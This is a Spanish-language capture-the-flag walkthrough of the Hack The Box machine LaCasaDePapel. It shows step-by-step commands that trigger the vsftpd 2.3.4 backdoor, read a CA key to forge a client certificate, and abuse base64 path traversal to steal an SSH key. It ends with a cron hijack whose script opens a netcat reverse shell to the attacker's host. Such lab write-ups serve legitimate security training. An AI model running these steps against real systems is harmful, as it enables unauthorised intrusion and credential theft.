lund@home:~$

Autor: Lund K. S.

HTB_LaCasaDePapel HTB_LaCasaDePapel | Hacker-Blog

HTB_LaCasaDePapel

La Casa de Papel {-}

Introduccion {-}

La maquina del dia se llama LaCasaDePapel.

El replay del live se puede ver aqui

S4vitaar Sauna maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.131

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.131

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.131 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p21,22,80,443 10.10.10.131 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
21 ftp anonymous  
22 ssh Coneccion directa  
80 http Web Fuzzing  
443 https Web Fuzzing  

Ya aqui podemos ver en el commonName del certificado ssl lacasadepapel.htb que añadimos al /etc/hosts

Coneccion Anonoymous con ftp {-}

ftp 10.10.10.131

Name: anonymous
Password: 

530 Login incorrect.

No nos podemos conectar con el usuario anonymous, Pero podemos ver que el servicio es un vsFTPd 2.3.4 que ya sabemos que existe un exploit

searchsploit vsftpd 2.3.4

#Output
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.131

No vemos nada interesante aqui.

Checkear la web {-}

Si entramos en la url http://10.10.10.131, El wappalizer no nos muestra nada. Si entramos con el dominio http://lacasadepapel.htb vemos lo mismo. Intentamos por https https://lacasadepapel.htb y aqui la cosa cambia. Tenemos un mensaje que dice que tenemos que proporcionar un certificado cliente para ver mas cosas. Pero aqui necessitamos tener mas informaciones.

Vulnerability Assessment {-}

vsftpd 2.3.4 {-}

Como ya sabemos que esta version es vulnerable, buscando por internet o analyzando el exploit de Metasploit vemos que la vulnerabilidad reside en poner una sonrisita :) al final del nombre de usuario y esto hace que se habre el puerto 6200 de la maquina.

nc 10.10.10.131 6200

#Output
Ncat: Connection refused.

telnet 10.10.10.131 21
USER s4vitar:)
PASS setenso

se queda bloqueado, podemos cerrar la ventana y con nc intentamos nuevamente la coneccion al puerto 6200.

nc 10.10.10.131 6200

Intentamos enviar commandos

whoami
#Error PHP Warning: Use of undefined constant whoami - assumed 'whoami' (this will throw an Error in a future version of PHP)

Intentamos commandos PHP

exec("whoami")
#error
shell_exec("whoami")
#error
passthru("whoami")
#error
system("whoami")
#error
help
#Output
help
ls
dump
doc
show
wtf
...

Vemos cosas intentamos con ls ver las variables classes funcciones y mas

ls
#Output
$tokyo

Miramos el contenido con show

show $tokyo
#output
class Tokyo {
    private function sign($caCert, $userCsr){
        ...
    }
}

Aqui vemos la class Tokyo con su funccion private. Podemos ver que en el directorio /home/nairobi/ca.key hay una key. Como este servicio esta en php, miramos si podemos listar contenido de ficheros con las fucciones php file_get_contents(), scandir() o readfile()

file_get_contents("/etc/passwd")

Y podemos ver el /etc/passwd, miramos si podemos ver la key del usuario nairobi.

miramos si encontramos id_rsa

scandir("/")
scandir("/home")
scandir("/home/berlin/.ssh")
scandir("/home/nairobi/.ssh")
scandir("/home/oslo/.ssh")
scandir("/home/dali/.ssh")
scandir("/home/professor/.ssh")

No encontramos nada. Miramos el contenido del fichero key.

readfile("/home/nairobi/ca.key")

Ahora que tenemos la key podemos crear un certificado de cliente valido.

Creamos un certificado de cliente valido {-}

  1. Tenemos que recuperar el certificado del servidor

     openssl s_client -connect 10.10.10.131:443
     openssl s_client -connect 10.10.10.131:443 | openssl x509
     openssl s_client -connect 10.10.10.131:443 | openssl x509 > ca.cer
    
  2. Copiamos el contenido del ca.key en un fichero ca.key

    • Aqui tenemos 2 ficheros el ca.key y el ca.cer
  3. Con openssl creamos un private key

     openssl genrsa -out client.key 4096
    
  4. Creamos un .req

     openssl req -new -key client.key -out client.req
    

    en commonName ponemos lacasadepapel.htb en el resto le damos al enter.

  5. Firmamos el certificado

     openssl x509 -req -in client.req -set_serial 123 -CA ca.cer -CAkey ca.key -days 365 -extensions client -outform PEM -out client.cer
    

    Aqui ya tenemos un certificado cliente valido. Pero ahora tenemos que convertirlo en un .p12 para que los navegadores los accepten.

  6. Conversion en certificado pkcs12 para navegadores

     openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
     chmod 777 client.p12
    

Aqui ya podemos añadir a firefox el certificado firmado. En firefox vamos a ajustes y buscamos por cert. Damos a Ver certificado y en el menu Sus certificados le podemos dar a importar. Importamos el client.p12 y le damos a acceptar.

Si recargamos la pagina https://lacasadepapel.htb y acceptamos el certificado, ya podemos ver que el contenido a cambiado y un private arena es visible.

Pathtraversal con base64 {-}

Aqui vemos dos Seasons y si le damos a una vemos unos ficheros .avi y haciendo hovering bemos que los nombres son en base64. Lo comprobamos con un fichero.

echo 'U0VBU09OLTEvMDMuYXZp' | base64 -d;echo
#Output
SEASON-1/03.avi

En la url vemos que tenemos algo como https://lacasadepapel.htb/?path=SEASON-1. Miramos lo que pasa si le damos a https://lacasadepapel.htb/?path=/etc/passwd y salta un error como no existe el path en /home/berlin/download//etc/passwd y que usa la funccion scandir para esto. Ya pensamos en un path traversal, pero como es un scandir solo podemos ir a por directorios.

https://lacasadepapel.htb/?path=../

aqui vemos el user.txt.

echo -n '../user.txt' | base64
#Output
Li4vdXNlci50eHQ=

y si vamos ahora a la url https://lacasadepapel.htb/file/Li4vdXNlci50eHQ= vemos que podemos descargar el user.txt. Pero a nosotros nos interessa ganar accesso al systema.

En la url https://lacasadepapel.htb/?path=../ vemos que podemos pinchar al directorio .ssh y a dentro hay una id_rsa. Hacemos lo mismos que con el user.txt

Vuln exploit & Gaining Access {-}

SSH {-}

echo -n '../.ssh/id_rsa' | base64
#Output
Li4vLnNzaC9pZF9yc2E=

y con la url https://lacasadepapel.htb/file/Li4vLnNzaC9pZF9yc2E= descargamos el fichero id_rsa.

mv /home/s4vitar/Descargas/firefox/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa berlin@10.10.10.131

como no va intentamos con los otros usuarios.

ssh -i id_rsa berlin@10.10.10.131
ssh -i id_rsa dali@10.10.10.131
ssh -i id_rsa nairobi@10.10.10.131
ssh -i id_rsa oslo@10.10.10.131
ssh -i id_rsa professor@10.10.10.131

Hemos ganado accesso al systema como el usuario professor.

Privilege Escalation {-}

Rootear la maquina {-}

whoami
ls
pwd
find / -name user.txt
cd /home/berlin/user.txt

Aqui vemos que el user.txt solo se puede ver desde la web.

uname -a
lsb_release
cat /etc/os-release
id
sudo -l
cd /
find \-perm -4000 2>/dev/null

aqui vemos binarios SUID. comprobamos con gtfobins si se pueden burlar.

buscamos por bbsuid, abuild-sudo sudo pero no encontramos nada. Tenemos que mirar de CRON. Lo miramos con pspy.

git clone https://github.com/DominicBreuker/pspy
cd pspy
go build -ldflags "-s -w" main.go
upx main
mv main pspy
python3 -m http.server 80

Desde la maquina victima, downloadeamos el fichero y lo lanzamos

wget http://10.10.14.8/pspy
chmod +x pspy
./pspy

Podemos ver que hay una tarea ejecutada por root que lanza un sudo -u nobody /usr/bin/node /home/professor/memcached.js

Si vamos al /home/professor vemos el fichero memcached.js pero no nos deja ver lo que hay dentro. Hay otro fichero memcached.ini que contiene el comando ejecutado durante la tarea cron.

Aqui el truco es que aun que el fichero no se puedo modificar, como esta en nuestra carpeta HOME, lo podemos borrar.

rm memcached.ini
vi memcached.ini


[program:memcached]
command = sudo -u root /tmp/pwn.sh

aqui creamos el pwn.sh

cd /tmp
touch pwn.sh
chmod +x pwn.sh
vi pwn.sh

#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 443 >/tmp/f

nos ponemos en escucha por el puerto 443

nc -nlvp 443

Esperamos un poco y ganamos acceso al systema como root y podemos leer la flag.